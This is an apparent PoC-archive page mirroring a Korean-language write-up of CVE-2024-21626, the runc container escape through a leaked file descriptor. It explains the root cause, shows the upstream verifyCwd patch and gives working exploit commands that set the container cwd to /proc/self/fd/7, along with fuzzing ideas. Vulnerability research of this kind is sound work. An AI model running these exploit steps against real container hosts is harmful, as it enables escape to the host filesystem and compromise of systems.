Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-21626 PoC — runc container breakout through process.cwd trickery and leaked fds

Source
Associated Vulnerability
Title: runc container breakout through process.cwd trickery and leaked fds (CVE-2024-21626)
Description:runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run ("attack 1"). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes ("attack 3a" and "attack 3b"). runc 1.1.12 includes patches for this issue.
Description
Root cuase & Proof of cause
Readme
# CVE-2024-21626
Root cuase & Proof of cause

# How to use poc-autoplay?
```bash
make install

make uninstall
```


# 1. Root cause

- runc v1.1.11 버전 이하에서 cgroup을 설정하기 위해 호스트의 /sys/fs/cgroup 디렉토리를 여는 과정에서 해당 파일 디스크립터를 컨테이너 초기화 프로세스에 닫지 않고 남겨둬서 해당 취약점이 발생한다.
1. runc init 단계에서 호스트의 /sys/fs/cgroup을 통해 /proc/{PID}/fd/7 획득.
2. 해당 fd를 닫지 않은 채 컨테이너 PID 1을 fork/exec.
3. runc의 spec 또는 runc exec —cwd 옵션에서 작업 디렉토리(cwd)를 위에서 획득한 /proc/self/fd/7/ 처럼 공격자가 제어하는 경로로 지정.
4. chdir 이후, PID 1의 cwd가 컨테이너의 rootfs 밖으로 이동.
5. 컨테이너 내부 프로세스가 호스트 파일 시스템에 접근하거나 수정이 가능해지면서 Container escape가 됨을 확인.

```c
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
```

- chdir 직후에 cwd를 검증하는 로직이 추가되었다.
- libcontainer/init_linux.go 에서 verifyCwd() 함수를 추가해서, chdir 이후 cwd가 여전히 컨테이너 내부인지 확인 후 err 발생 여부를 정한다.
- 유출된 파일 디스크립터를 전부 닫는 로직이 추가되었다.
- 최종 execve 직전에 모든 내부용 fd를 닫도록 하여, 호스트 fd가 컨테이너 프로세세스에 남아있지 않도록 했다.

# 2. Proof of Concept
- Environment

```plaintext
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
```

- Exploit via runc itself

```bash
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"
```


# 도커 내부에서 로컬의 / 경로에서 시작.

- 컨테이너 생성 시 working directory를 특정 파일 디스크립터로 설정해야 한다.
호스트의 열린 fd와 컨테이너 내부의 fd가 연결되어 docker escape가 가능해진다.


- PoC file
-> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing
```bash
- make install, make uninstall
```

- PoC MP4
-> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing


# 3. **How can this vulnerability be fuzzed?**

- 해당 취약한 runc 바이너리에 대하여 go-fuzz를 진행하는 방식.
- 취약 함수인 finalizeNamespace() 내부의 chdir(config.Cwd) 처리 부분을 대상으로 무작위 OCI config를 입력값으로 주는 방식으로 할 수 있다.
- 해당 방식으로 chdir 이후 cwd에서 상대경로로 예외처리 혹은 크래시 부분을 분석하면 될 것 같다.
- 취약 버전 runc 바이너리를 대상으로 AFL++로 진행하는 방식.
- OCI spec JSON과 runc CLI Argument를 퍼징하는 방식이다.
- OCI spec JSON에서 cwd 부분을 타겟으로 chdir 지점에서 발생하는 크래시를 분석 하면 될 것 같다.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →